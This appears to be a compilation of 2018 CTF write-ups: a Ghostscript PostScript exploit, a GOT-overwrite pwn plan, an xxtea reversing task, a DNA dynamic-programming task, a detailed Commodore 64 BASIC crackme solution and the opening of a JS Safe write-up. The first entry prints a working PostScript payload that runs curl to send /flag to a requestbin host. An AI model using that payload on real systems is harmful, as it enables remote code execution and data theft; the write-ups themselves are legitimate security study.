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Video walkthrough and explanation. Thanks for watching!https://www.youtube.com/watch?v=pBoH77Hr2U8&t=0s&index=2&list=PL1H1sBF1VAKUdXGN03SFFXcW9-lTF1Ug6 |
The challenge was related to a recent disclosure exploit [https://www.exploit-db.com/exploits/45243/](https://www.exploit-db.com/exploits/45243/)
First, we try the exploit from the original post, but it doesn't work because PIL do check the image size first.```%!PSuserdict /setpagedevice undefsavelegal{ null restore } stopped { pop } if{ legal } stopped { pop } ifrestoremark /OutputFile (%pipe%id) currentdevice putdeviceprops``` So I try to download a normal Postscript example, and combine with the exploit```%!PS-Adobe-1.0%%Creator: PS_Write.F%%CreationDate: 09/29/99%%Title: region.ps%%Document-Fonts: Times-Roman%%BoundingBox: 0 0 1000 500%%BeginProlog%%EndProlog/Palatino-Roman findfont0.0000 0.0000 0.0000 setrgbcolor%%Page: 1 1/Times-Roman findfont20 scalefontsetfontuserdict /setpagedevice undefsavelegal{ null restore } stopped { pop } if{ legal } stopped { pop } ifrestoremark /OutputFile (%pipe%curl --data "`cat /flag`" http://requestbin.fullcontact.com/12jsa501) currentdevice putdevicepropsshowpage%%Trailer%%Pages: 1%%EOFquit```
I use requestbin.fullcontact.com for receiving the result. I stuck here about 10 minute by using `nc` to send to result, then realized the OS might not have `nc`. |
* Swap `atoi` , `printf` to leak `stack`.* Swap( a , &a ) -> *a = a.* Swap( `0x601526` , `&0x601526` ).* Swap( `0x601526 - 6` , `printf GOT - 6` ).* `printf -> 0x56510` , `one gadget -> 0x45526`.* Overwrite `printf GOT` last two byte to `0x1526`, gues it add with carry.* With probability approx 1/16.* [exploit.py](https://github.com/ssspeedgit00/CTF/tree/master/2018/TokyoWesterns/swap_returns) |
# tw playing cardSearching the string `win`, we can easily find the function `sub_401aa0`.With some resvering or debugging, we know that function `sub_401160` generates the cards and function `sub_4017B0` checks the result. When the result of function `sub_4017B0` is 1, we think the elf will put the flag. Actually, it doesn't do that.# sub_4017B0First we analyse the function `sub_4017B0`. When this function returns 1, it should meet 2 conditions:1. qword_6152B8 > 0, which means we should win at least once.2. Your 5 cards should be `spade 2`,`heart 11`, `spade 6`, `heart 4` and `diamod 9`.we can change the return value of function `sub_410090` in the `sub_401160` to obtain the 5 cards.Then running the elf, we get the segment fault at address `0x401ecb`. # sub_41096Because the return value of function `sub_41096` is 0, the elf crashes with segment fault. Step into function, we find the `v24>v26` is always true, which leads to return 0.```c v21 = (_QWORD *)sub_410800(&v28, v17); v23 = v21; if ( v21 ) { v22 = *v21; v24 = *((unsigned int *)v21 + *v21 + 3); v25 = 4LL * *v21; v26 = v25 - 4; if ( v24 < v25 - 7 ) return sub_40BDA0(0LL); } else { v24 = MEMORY[0xC]; v26 = -4LL; } if ( v26 < v24 ) return sub_40BDA0(0LL); result = sub_40F1B0(v24, v17, v22); if ( v24 ) { v27 = 0LL; do { *(_BYTE *)(result + v27 + 16) = *((_DWORD *)v23 + (v27 >> 2) + 4) >> 8 * (v27 & 3); ++v27; } while ( v24 != v27 ); } return result;```Looking at the following code, it has no relation ship with the `v22`, `v25`, `v26`.And we find function `sub_410800` is the decryption of `xxtea algorithm`. So we guess that the code above is wrong. We patch the code, and set `v24=v25` to make elf puts deciphering string. But there is something wrong with the string. It has much nonprintable characters.# sub_402010Checking the function `sub_41096`'s args, we find the ciphertext is stored in `qword_6152C8`, which is setted in function `sub_402010`. It is converted from `unk_4113A0` with `xor 0x20`.Recovering the `qword_6152C8` to `unk_4113A0`, we can finally get the correct flag.
1. ciphertxt: `unk_4113A0`2. key: the 5 cards3. algorithm: xxtea
TWCTF{D!d_y0u_s33_7he_n!m_b!nary:)}
|
# CTFZone 2018 -- Help Mars!> **Category**: PPC, OSINT> **Description**:> Hello!> The Martians need your help. They are in contact with the H5N1 virus.> We know that there is a universal vaccine (locus HW306977) on our planet.> Find the substances on their planet that can be used to synthesize the vaccine.> A large sample database is at your disposal.> [mars_dna_samples.zip](./mars_dna_samples.zip).> Your task is to select the right combination of samples (recipe). Result is> the shortest (lowest count of samples used to synthesize the vaccine). If you> find more than one shortest recipe - select the one, which has the longest code> in each sample from start to end.> Example:> Code: 123456> Samples (id,code):> 1,4> 2,6> 3,12> 4,34> 5,56> 6,45> 7,123> Available combinations> 12-34-56> 123-45-6> 123-4-56> Solving: 123 + 45 + 6> Result: 7,6,2> Flag is ctfzone{md5(Result)}
# Writeup
## GooglingTo get the flag you first need to find genom sequence of H5N1 virus. Unfortunately,there are lots of variants of this virus, and HW306977 hasn't been indexed by google.
So it took some time to find data archive of biology things, and here we founda [record about HW306977](https://www.ncbi.nlm.nih.gov/nuccore/HW306977).
## Algorithm### MethodThe task is typical for [dynamic programming](https://en.wikipedia.org/wiki/Dynamic_programming).
We have a target sequence and hashmap sample_seq -> sample_ind, lets write a recursive functionthat returns the smallest sequence of samples (only theirs ids) for some suffix of thesequence: `f(suffix)`.
### CacheThe most important thing in dynamic programming is caching result of `f(..)`. If you can cache them,your algorithm will be fast enoughh, if you don't it's polynomial asymptotic.
### Base caseIf the suffix is empty, then the answer is obvious: `[]`.
### Body of recursionAfter base case was checked, check that this prefix wasn't computed yet.If it was, return the cached answer. If it wasn't, do this:
```pythondef f(suffix): # ... check for the base case # ... look for a computed value in cache best = None for i in xrange(1, min(max_sample_len, len(suffix))+1): if suffix[:i] not in sample_to_ind: continue current = f(suffix[i:]) if (best is None and current is not None) or (best is not None and current is not None and len(best) > len(current)): current.append(sample_to_its_ind[suffix[:i]]) best = current # ... caching return best```
## Solver[Here](./solve.py) you can take a look at my solver. |
# Back to the BASICs
This task was part of the 'RE' category at the 2018 Google CTF Quals round (during 23-24 June 2018).
It was solved by [NotWearingPants](https://github.com/NotWearingPants), in [The Maccabees](https://ctftime.org/team/60231) team.
## The challenge
The description given in the website reads:```You won't find any assembly in this challenge, only C64 BASIC.Once you get the password, the flag is CTF{password}.P.S. The challenge has been tested on the VICE emulator.```Along with this **[attachment](attachment.zip)**.
## Exploring the Attachment
From the title & description of this challenge it's quite obvious the challenge has something to do with the **BASIC language**,and a quick google search reveals that "C64" refers to the famous ancient computer, the **Commodore 64**.
Inside the attached zip there's a single file called `crackme.prg` .I know that `prg` usually just stands for `program`, so the extension tells me nothing here.
As BASIC is a textual language, I open the file in my favorite text editor expecting to find BASIC code, but to my surprise, the file appears to be a binary file.
I open the file in a hex editor, and I see mostly ASCII letters and digits, mixed with some non-ASCII characters.I don't really know BASIC, but I expected to see a `PRINT` statement which I know exists, but I couldn't find one in the file.
IDA didn't understand the file either, so I searched for "c64 basic disassemblers" and found a program called *"PRG studio"* which claims it can work with `.prg` files.
So maybe the `.prg` file extension does mean anything - searching for "C64 basic prg file" came up with [this](http://fileformats.archiveteam.org/wiki/Tokenized_BASIC) and [this](https://c64-wiki.com/wiki/BASIC_token).Apparently a `.prg` file is BASIC code with known tokens replaced with single bytes to save space, this format is called "tokenized BASIC".
This matched up with the string `\xB2\xB2\xB2 BACK \xA4 BASICS \xB2\xB2\xB2` that appears at the beginning of the file, as `\xB2` maps to the `=` operator, and `\xA4` maps to the `TO` keyword, which results in `=== BACK TO BASICS ===`, and that looks about right.
Another thing the links mention is that the rest of the characters are part of a character set called [PETSCII](https://en.wikipedia.org/wiki/PETSCII#Character_set), not regular ASCII.
As I didn't want to run some random executable from the internet, and the tokenized BASIC format seemed pretty straightforward, I attempted to write my own [detokenizer](scripts/decode_tokenized_basic.py) and it [almost worked](basic-code/my_detokenizer_output.txt).
So I ended up using "[C64 BASIC Lister](https://www.luigidifraia.com/c64/index.htm#BL)" to open the file, and [it worked!](basic-code/initial_extracted_basic_code.txt)I was able to get the original BASIC code from this binary.
## Understanding the Code
Given the [BASIC code we got](basic-code/initial_extracted_basic_code.txt), we now have to figure out the password that was mentioned in the challenge description, while using [the C64 wiki](https://www.c64-wiki.com/) to understand the language.
The colons are probably used to separate multiple statements on the same line, though I couldn't verify this fact online.
Looking at the code it's hard to miss the statement `PRINT "PASSWORD PLEASE?" CHR$(5)` on line #70, which is followed by `INPUT ""; P$`.
The wiki says `CHR$()` converts a number to an ASCII character. 5 isn't a printable character in ASCII, and in PETSCII it doesn't seem to mean anything either, so let's just ignore it. Also, it looks like string concatenation is done by simply putting the two strings next to each other.
As separating statements is done with colons, I assume semicolon doesn't separate statements, so the `P$` is probably part of the `INPUT` statement, and is probably the variable that stores the result - but the only place `P$` is used is on line #200 where its length is checked:
```basicIF LEN(P$) = 30 THEN GOTO 250```
I see the `PRINT "VERDICT: NOPE"` at the bottom and understand I don't want to reach line #31337. At line #220 there's a `GOTO 31337` so I want to skip that either - the only place jumping over line #220 is the `IF` with `P$` I mentioned before, so I guess the password's length should be 30, otherwise "NOPE" will be printed.
The only other way of reaching the NOPE is from the line before, line #2010, which contains a `GOTO 2001` which is the line before it.But line #2001 is just a comment, isn't this an infinite loop?
The code is weird, and since it's not that long, I decide to just go over the entire file and figure out what's happening.
As I get to `POKE` instructions, I learn that they are used to write to memory.I know that usually with devices that are running without a modern operating system, writing to memory could be a way of [communicating with hardware](https://en.wikipedia.org/wiki/Memory-mapped_I/O).So I search for a memory map of the Commodore 64 - I find the [memory map](https://www.c64-wiki.com/wiki/Memory_Map) on the wiki, and [a more detailed but clunky one](http://sta.c64.org/cbm64mem.html) on some other website.
Using the knowledge I've gathered I could understand and document most of the code, resulting in this **[documented code](basic-code/documented_initial_code.txt)**.
There was only one one line I had trouble understanding - `2010 POKE 03397, 00199 : POKE 03398, 00013 : GOTO 2001`.According to the memory map, this is writing stuff inside the "Free BASIC program storage area".I guess it's free memory for the program to use, but no other part uses it.
I still couldn't find the password check, so I decided to try another detokenizer to get a second opinion on the file contents, so [I found](http://vice-emu.sourceforge.net/vice_15.html) `petcat` - a CLI that's apparently part of the VICE emulator, the emulator that was mentioned in the challenge description.
I downloaded [VICE](http://vice-emu.sourceforge.net) and ran `petcat` on the `.prg` file, which resulted in the same output. Well, since I just downloaded an emulator, might as well run the program on it, no?
## Testing on the Emulator
I launched the VICE emulator, and after it booted (I showed it to my dad for some nostalgia, and then) I played around with the BASIC interpreter, and finally loaded `crackme.prg`.
It took forever to load, and then displayed the "BACK TO THE BASICS" banner as I saw in the code beforehand, then asked for the password.
I entered a 30 character password, and it showed a progress bar that slowly began to fill up with icons.Nowhere in the code was the progress bar filled other than the first character slot, so I searched online if progress bars are a built-in thing in C64, but they weren't.
Hmm... So apparently, the VICE emulator also comes with a built-in debugger that can show me the computer's memory (the command `m`).Viewing memory at address 3397 (0xd45) which is where the mysteryious `POKE` wrote showed something familiar - a part of the `.prg` file was there in memory! And the program was... changing it?
## Self-Modifying Code
Well... It turns out that what we're dealing with is a self-modifying BASIC program. Wat.
This explains how the emulator was running logic that wasn't in the code I extracted initially.This also means that the Commodore 64 must be interpreting and running the tokenized BASIC as-is from memory, it doesn't first detokenize it, or first turn it into assembly and jump to it.
I tried to modify the bytes in the `.prg` file like the `POKE` statement did using a hex editor so that `petcat` would show where execution jumps to next, but it didn't quite work.
In the hex editor I saw the last source line I had decoded ended at 0x5C2, but after that position was obviously more tokenized BASIC code, but there we're a few NULL bytes after the original program and before the continuation, so I just deleted bytes until `petcat` agreed to decode the rest of the program :)Specifically, deleting the `00 00 00 00 8F 00` at 0x5C2 does the trick.
We now have [more code](basic-code/more_code.txt)!
## More Self-Modifying Code
The line at the end looks real scary, but let's go line by line.
The first new line we got has the number 2001, which is an already existing line, and also in line #2010 there's a `GOTO 2001`.So I guess that's not actually an infinite loop, it jumps to this new line.
The new code first does some more self-modifying (line #2001), and then tinkers with the 2nd character of the progress bar - this is really what's been messing with our progress bar.
Then comes a loop which seems to poke a lot more in the program memory:
```basic2004 es = 03741 : ee = 04981 : ek = 1482005 for i = es to ee : k = ( peek(i) + ek ) and 255 : poke i, k : next i```
This loop adds 148 to all bytes in memory in the range {3741..4981} (inclusive).
Using the memory viewer in VICE's debugger I figure out that our `.prg` file was loaded at address `0x801`, which matches the first 2 bytes of the file that happen to be the "load address" (little endian).
With a bit of math (`es - load_address + sizeof(load_address)`), we can figure out this means that the loop is dealing with bytes {0x69E..0xB77} (exclusive) in the original file.After doing the addition in the file myself using a hex editor, many bytes are now printable characters, looks about right. NOTE: don't forget to take into account the deleted 6 bytes if you are dealing with the modified file.
Running `petcat` again on the modified `.prg` file we get [more more code!](basic-code/more_more_code.txt)
And the big last line that was previously there is gone, that was probably the encoded data we opened.
## Woah, Math
The first new line we got is:
```basic2010 v = 0.6666666666612316235641 - 0.00000000023283064365386962890625 : g = 0```
And then we see another use of our password variable, `P$`:
```basic2020 ba = asc( mid$(p$, 1, 1) )2021 bb = asc( mid$(p$, 2, 1) )```
According to the wiki, `mid$` extacts a substring from a string, so these two lines get the first character of the password into `ba`, and the second character into `bb`.
Then there's a bunch of *math*, and after that we get to the actual checks:
```basic2100 t0 = k = g : a = 86 : b = 102200 if t0 = -1 then a = 83 : b = 5...2905 poke 1024 + chkoff + 1, a : poke 55296 + chkoff + 1, b```
I couldn't quite figure out the PETSCII here, but from observing the first progress bar character in the emulator and the length check on `P$` I can infer that `86 is the red X`, and `83 is the green heart`.
Assuming I want the heart, because who doesn't, I want `a` to be `83`, so I want the `IF` on line #2200 to succeed.
Line #2100 seems to assign to `t0` the result of whether `k` is equal to `g`. After playing around with the BASIC interpreter in the emulator, it turns out that `2 = 3` is `0`, and `2 = 2` is `-1`. Wat.
Ok then, so we want `k` to equal `g` and then we get a heart. Simple.
```basic2010 v = 0.6666666666612316235641 - 0.00000000023283064365386962890625 : g = 02020 ba = asc( mid$(p$, 1, 1) )2021 bb = asc( mid$(p$, 2, 1) )2025 p0 = 0 : p1 = 0 : p2 = 0 : p3 = 0 : p4 = 0 : p5 = 0 : p6 = 0 : p7 = 0 : p8 = 0 : p9 = 0 : pa = 0 : pb = 0 : pc = 02030 if ba and 1 then p0 = 0.0625000000018189894035458564758300781252031 if ba and 2 then p1 = 0.01562500000045474735088646411895751953122032 if ba and 4 then p2 = 0.00390625000011368683772161602973937988282033 if ba and 8 then p3 = 0.00097656250002842170943040400743484497072034 if ba and 16 then p4 = 0.00024414062500710542735760100185871124272035 if ba and 32 then p5 = 0.00006103515625177635683940025046467781072036 if ba and 64 then p6 = 0.00001525878906294408920985006261616945272037 if ba and 128 then p7 = 0.00000381469726573602230246251565404236322040 if bb and 1 then p8 = 0.00000095367431643400557561562891351059082031 if bb and 2 then p9 = 0.00000023841857910850139390390722837764772032 if bb and 4 then pa = 0.00000005960464477712534847597680709441192033 if bb and 8 then pb = 0.0000000149011611942813371189942017736032034 if bb and 16 then pc = 0.00000000372529029857033427974855044340072050 k = v + p0 + p1 + p2 + p3 + p4 + p5 + p6 + p7 + p8 + p9 + pa + pb + pc2060 g = 0.671565706376017```
It appears that individual bits of the bytes in the password are checked, and then numbers that look like negative powers of 4 - `{4^(-4)..4^(-14)}` (inclusive) - get summed up with `v`, and that sum should equal `g`.
The numbers aren't exactly powers of 4 because any computer can't accurately represent all numbers, so the numbers were probably rounded to fit whatever floating-point representation the Commodore 64 uses.
Because the values that are being added are all different powers of 4 that when summed should equal the difference between `g` and `v`, this means we're looking for the **base-4 representation** of `(g-v)`.And because any number in any natural-number base (except base 1) has a unique representation using a finite amount of digits (I think), we can gurantee that if we get a bit-pattern that works, then it is the only one that works.
Note that there are also values of `(g-v)` that won't work with any bit-pattern, because we're dealing with powers of 4, so to be able to represent all numbers all `p` values should be multiplied with a digit between `0` and `3`, and in binary we have just `0` and `1`.We can just assume this is solveable, otherwise there would be no valid password :P
It's likely that the Commodore 64 and python represent floating point numbers differently, but while hoping that it wouldn't affect much, we can quickly write a script that will get the desired bits:
```pythonv = 0.6666666666612316235641 - 0.00000000023283064365386962890625g = 0.671565706376017p_values = [ 0.062500000001818989403545856475830078125, 0.0156250000004547473508864641189575195312, 0.0039062500001136868377216160297393798828, 0.0009765625000284217094304040074348449707, 0.0002441406250071054273576010018587112427, 0.0000610351562517763568394002504646778107, 0.0000152587890629440892098500626161694527, 0.0000038146972657360223024625156540423632, 0.0000009536743164340055756156289135105908, 0.0000002384185791085013939039072283776477, 0.0000000596046447771253484759768070944119, 0.000000014901161194281337118994201773603, 0.0000000037252902985703342797485504434007,]
# this algorithm works because `p_values` are powers of 4 in descending order:
# for each `p` valuefor p in p_values: # if we won't go over the goal by adding this `p` if v + p <= g: # then add it, and the next bit should be 1 v += p print(1) else: # otherwise don't add it, and the next bit should be 0 print(0)```
Running this results in the bits `[0,0,1,1,0,0,1,0,1,0,0,1,0]` - looking back on the BASIC code the first bit (which adds the first `p` value) is the LSB in the first password character, and so on.That means the first character of the password is `0b01001100`, or - capital `L`.Yay! It's printable and it's a letter! So it's probably right.
We got the first 13 bits of the password from this script, and the first 8 compose the first character, so that leaves 5 bits we have from the second character - `0b???01001`. Assuming this is a letter or a digit, it can only be capital `I` = `0b01001001`.
Great success - the flag is about `CTF{LI????????????????????????????}` (remember the password is of length 30).
## More More Self-Modifying Code
Alright, we know the drill, let's get more bits - the code after the math part is:
```basic2210 poke 1024 + chkoff + 1, 902500 rem2900 for i = es to ee : k = ( peek(i) + ek ) and 255 : poke i, k : next i2905 poke 1024 + chkoff + 1, a:poke 55296 + chkoff + 1, b2910 poke 03397, 00029 : poke 03398, 00020 : goto 2001```
Well, the loop is there, but I don't see where `es`, `ee`, and `ek` are defined like last time. This means it just uses the same values from before. I seriously doubt that adding `148` a second time will result in valid tokenized BASIC again.
Looking at the `.prg` in a hex editor again, I can still see more readable (not encrypted) code, but there's that `00 00 00 00 8F 00` in the way again. I guess it's either opcodes that `petcat` doesn't recognize (although it has flags to switch the version of BASIC its decoding and one might help), or that the weird `poke` statement at the end is somehow modifying it or skipping it. The easy solution I go with is again - deleting the annoying bytes and re-running `petcat`.
[Success](basic-code/more_more_more_code.txt), now we got the following:
```basic2004 es = 05363 : ee = 06632 : ek = 1522005 for i = es to ee : k = ( peek(i) + ek ) and 255 : poke i, k : next i```
We know the drill, opening this gives [another one of these floating point math challenges](basic-code/more_more_more_more_code.txt).
Looks like the pattern is always:
- Delete the `00 00 00 00 8F 00`- Find the values of `es`, `ee`, and `ek`- Decode the next part with them
And if we count the spaces in the progress bar:
```PRINT "[ ]"```
there are 20 spaces, so if this pattern continues until the end it will require decoding 19 times. I sure ain't doing it manually.
So let's write [a script to do that](scripts/decrypt_entire_prg.py).
It searches for the regex pattern `'ES = (\d+) : EE = (\d+) : EK = (\d+)'` in the `.prg` file (but with tokenized BASIC's `'\xB2'` instead of `'='`), decodes the file accordingly, and then repeats with the next occourence of the pattern, until there are none left.
After its done it deletes all occourences of `00 00 00 00 8F 00`. It's better than doing it while decrypting as we would need to account for the deleted bytes in the offset calculation.
The script takes an input file and an output file, and it prints:
```Load address: 0x0801decryption #01: ADDing from 0x0e9d to 0x1375 with 0x94decryption #02: ADDing from 0x14f3 to 0x19e8 with 0x98decryption #03: ADDing from 0x1b66 to 0x201b with 0xa5decryption #04: ADDing from 0x2199 to 0x268c with 0xb8decryption #05: ADDing from 0x280a to 0x2cdb with 0xc7decryption #06: ADDing from 0x2e59 to 0x3333 with 0xf0decryption #07: ADDing from 0x34b1 to 0x39a8 with 0xf9decryption #08: ADDing from 0x3b26 to 0x3fdf with 0x84decryption #09: ADDing from 0x415d to 0x4637 with 0xbadecryption #10: ADDing from 0x47b8 to 0x4cb1 with 0xd6decryption #11: ADDing from 0x4e34 to 0x5311 with 0xf5decryption #12: ADDing from 0x5494 to 0x598b with 0xcbdecryption #13: ADDing from 0x5b0e to 0x6008 with 0xdfdecryption #14: ADDing from 0x618b to 0x6642 with 0xeddecryption #15: ADDing from 0x67c5 to 0x6cbd with 0xc0decryption #16: ADDing from 0x6e40 to 0x731f with 0x9ddecryption #17: ADDing from 0x74a2 to 0x797d with 0x9edecryption #18: ADDing from 0x7b00 to 0x7ff9 with 0xebdecryption #19: ADDing from 0x817c to 0x863f with 0x8fdeleting weird stuff```
and we get our [fully decrypted PRG file](basic-code/decrypted.prg)!
We can now run it through `petcat` and get [the entire BASIC source code](basic-code/entire_code.txt), woohoo!
## Many, Many Math
If you scroll to the very bottom of the [entire code](basic-code/entire_code.txt) we got, you'll see the lines:
```basic31337 t = t0 + t1 + t2 + t3 + t4 + t5 + t6 + t7 + t8 + t9 + ta + tb + tc + td + te + tf + tg + th + tj31338 if t = -19 then goto 3134031339 print : print "verdict: nope" : goto 3134531340 print : print "verdict: correct"31345 goto 31345```
If you recall, `t0` is the check of whether `v + p0 + p1 + ... = g`,so this checks if we got all **19 challenges** right, and then prints `"VERDICT: CORRECT"` if so.
Going through the source it looks like all the 19 challenges are mostly the same:
- They start with some `v` value (not the same for all)- They check the next 13 bits of the password and add the same powers of 4- They check we've reached a certain `g` value (again, not the same for all)
Note that 19 challenges that give 13 bits each is 7 bits more than 30 characters, but looking at the last challenge it seems like we don't have control over those final 7 bits (they come from `bx` which isn't defined anywhere), so they're probably just 0 and don't matter to our password.
So we modify our script to get all the `v` and `g` values after it decrypts the PRG, and solve for all of the bits of the password, like we solved the first challenge.
We could also copy the values from the textual output of `petcat` to a separate script but I want to have a script that works given the original attachment and doesn't rely on VICE.
We now have [a script that solves all the challenges and extracts the password](scripts/decrypt_and_solve.py)!
The script only takes in an input PRG file, and prints:
```Load address: 0x0801decryption #01: ADDing from 0x0e9d to 0x1375 with 0x94decryption #02: ADDing from 0x14f3 to 0x19e8 with 0x98decryption #03: ADDing from 0x1b66 to 0x201b with 0xa5decryption #04: ADDing from 0x2199 to 0x268c with 0xb8decryption #05: ADDing from 0x280a to 0x2cdb with 0xc7decryption #06: ADDing from 0x2e59 to 0x3333 with 0xf0decryption #07: ADDing from 0x34b1 to 0x39a8 with 0xf9decryption #08: ADDing from 0x3b26 to 0x3fdf with 0x84decryption #09: ADDing from 0x415d to 0x4637 with 0xbadecryption #10: ADDing from 0x47b8 to 0x4cb1 with 0xd6decryption #11: ADDing from 0x4e34 to 0x5311 with 0xf5decryption #12: ADDing from 0x5494 to 0x598b with 0xcbdecryption #13: ADDing from 0x5b0e to 0x6008 with 0xdfdecryption #14: ADDing from 0x618b to 0x6642 with 0xeddecryption #15: ADDing from 0x67c5 to 0x6cbd with 0xc0decryption #16: ADDing from 0x6e40 to 0x731f with 0x9ddecryption #17: ADDing from 0x74a2 to 0x797d with 0x9edecryption #18: ADDing from 0x7b00 to 0x7ff9 with 0xebdecryption #19: ADDing from 0x817c to 0x863f with 0x8fdeleting weird stuffsolved #01: 0.666666666428401 -> 0.671565706376017 by [0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0]solved #02: 0.666666666428401 -> 0.68261235812682 by [0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1]solved #03: 0.6666666666612316 -> 0.682552023325146 by [0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0]solved #04: 0.666666666428401 -> 0.667647300753773 by [0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1]solved #05: 0.6666666666612316 -> 0.68231080332774 by [0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0]solved #06: 0.6666666661955704 -> 0.67063873494047 by [0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0]solved #07: 0.6666666661955704 -> 0.729427094105661 by [1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0]solved #08: 0.6666666666612316 -> 0.683334092143953 by [0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1]solved #09: 0.666666666428401 -> 0.729182238224924 by [1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0]solved #10: 0.6666666671268929 -> 0.682352954987467 by [0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1]solved #11: 0.6666666661955704 -> 0.745769257191599 by [1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0]solved #12: 0.666666666428401 -> 0.66674321750182 by [0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1]solved #13: 0.6666666668940623 -> 0.682352764997662 by [0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0]solved #14: 0.6666666666612316 -> 0.670634204987467 by [0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1]solved #15: 0.666666666428401 -> 0.733381925616444 by [1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1]solved #16: 0.666666666428401 -> 0.66764801228422 by [0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0]solved #17: 0.666666666428401 -> 0.749690691474855 by [1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0]solved #18: 0.666666666428401 -> 0.682356773410023 by [0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1]solved #19: 0.666666666428401 -> 0.670817057136476 by [0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0]PASSWORD: b'LINK\x05D-LHSTS\xcdAND.40-BHd-FLOATS'```
## WE GOT PASSWORD!
So the password is `'LINK\x05D-LHSTS\xcdAND.40-BHd-FLOATS'`.
That looks, well, wrong :O
But it looks like we got close to right - the errors are probably because of different representations of floating point numbers between the Commodore 64 and python.
I searched online for any info on how the C64 represents floating point numbers (it has an 8-bit 6510 processor) so I could emulate it in python, but I could not find anything.
I can write my own BASIC program to run on the VICE emulator that would solve it correcly for me. I guess the VICE emulator has a BASIC tokenizer, but I don't want to write all that logic in BASIC :(
And since there's only 15 minutes left until the CTF ends, let's **guess the password**!
I see `LINKED-LISTS-AND-40-BAD-FLOATS`, but it doesn't work on the CTF website. Maybe `LINKED-LISTS-AND-40-BIG-FLOATS`? Nope.
I run the PRG on the emulator and enter this password, and after waiting 5 minutes (the emulator is slow as hell), I see from the hearts and X's on the progress bar that I only got wrong the "IG" in "BIG".
So I google ["3 letter words that start with B"](https://www.morewords.com/wordsbylength/3b/) and find nothing, so I ask my team and [or523](https://github.com/or523) guesses it's "40 **bit** floats", and it works! :)
The flag is `CTF{LINKED-LISTS-AND-40-BIT-FLOATS}` !
## Afterthought
Phew. We got the flag in time, with guessing. But can I change my script to actually get the correct password?
We now know from the password that the Commodore 64 probably represents floating point numbers with 40-bit registers, but I couldn't find any info on how exactly it does this (usually the number is separated into 2 parts), so I couldn't emulate it.
So instead, let's do some analysis. We can separate the wrong and right passwords to groups of 13-bits, like the challenges in the PRG:
```pythonwrong = ['0011001010010', '0100111001011', '0100101010000', '0001000101011', '0100001100100', '0010010110010', '1000101010110', '0101010110011', '1000001001110', '0100010001001', '1101000010110', '0000011001011', '0100010000100', '0010010001001', '1010110100011', '0001000110010', '1111001010000', '0100010101011', '0010100000000']
right = ['0011001010010', '0100111001011', '0100101010001', '0001000101011', '0100001100101', '0010010110010', '1000101010110', '0101010110100', '1000001001110', '0100010001010', '1101000010110', '0000011001011', '0100010000101', '0010010001010', '1010110100011', '0001000110010', '1111001010000', '0100010101011', '0010100000000']```
We can see what went wrong were six challenges: #3, #5, #8, #10, #13, and #14. *What made only them fail?*
All the challenges have the same `p` values added to the starting `v`, and the goal `g` is different between every challenge, but the **`v` starting values have some patterns**:
``` ( 1) 0.6666666666612316235641 - 0.00000000023283064365386962890625 ( 2) 0.6666666666612316235641 - 0.00000000023283064365386962890625*( 3) 0.6666666666612316235641 ( 4) 0.6666666666612316235641 - 0.00000000023283064365386962890625*( 5) 0.6666666666612316235641 ( 6) 0.6666666666612316235641 - 0.00000000046566128730773925781250 ( 7) 0.6666666666612316235641 - 0.00000000046566128730773925781250*( 8) 0.6666666666612316235641 ( 9) 0.6666666666612316235641 - 0.00000000023283064365386962890625*(10) 0.6666666666612316235641 + 0.00000000046566128730773925781250 (11) 0.6666666666612316235641 - 0.00000000046566128730773925781250 (12) 0.6666666666612316235641 - 0.00000000023283064365386962890625*(13) 0.6666666666612316235641 + 0.00000000023283064365386962890625*(14) 0.6666666666612316235641 (15) 0.6666666666612316235641 - 0.00000000023283064365386962890625 (16) 0.6666666666612316235641 - 0.00000000023283064365386962890625 (17) 0.6666666666612316235641 - 0.00000000023283064365386962890625 (18) 0.6666666666612316235641 - 0.00000000023283064365386962890625 (19) 0.6666666666612316235641 - 0.00000000023283064365386962890625```
I've marked the `v` values of the challenges we got wrong.
We can see that we **got right all the challenges that subtract the second operand** in the `v` calculation, and we **got wrong** all the challenges that **add the second operand or have no second operand at all**.
Curious. The `v` values seem to affect our success. The values of the challenges we got right (the ones that subtract) have only two possibilities, what happens if we just choose one and start with it for every challenge?
We can add the line
```pythonstart = 0.6666666666612316235641 - 0.00000000023283064365386962890625```
before line 57 in [our script](scripts/decrypt_and_solve.py) (in the function `solve_challenge`), [run it](scripts/decrypt_and_solve_fixed.py), and it prints:
```PASSWORD: b'LINKED-LISTS-AND-40-BIT-FLOATS'```
Success! Also using the other value with subtraction for `v` prints the correct answer.
I think I've redeemed myself after guessing the flag, back to the BASICs - solved!
This challenge was awesome, I would have never used a Commodore 64 emulator or BASIC code otherwise, thanks Google :) |
# JS SAFE 2.0
This VERY COOL task was part of the 'WEB' category at the 2018 Google CTF Quals round (during 23-24 June 2018).
It was solved by [NotWearingPants](https://github.com/NotWearingPants) and [XD-DRAGON](https://github.com/xddragon4), in [The Maccabees](https://ctftime.org/team/60231) team
## The challenge
In the challenge, we've got an HTML file that can store secrets in the browser's localStorage. To obtain the secrets you've to know the key / passphrase.
### CHALLENGE ACCEPTED
So...diving into the client's side code reveals some html, css and JS code.Pressing enter after inserting the passphrase executes the `open_safe()`.
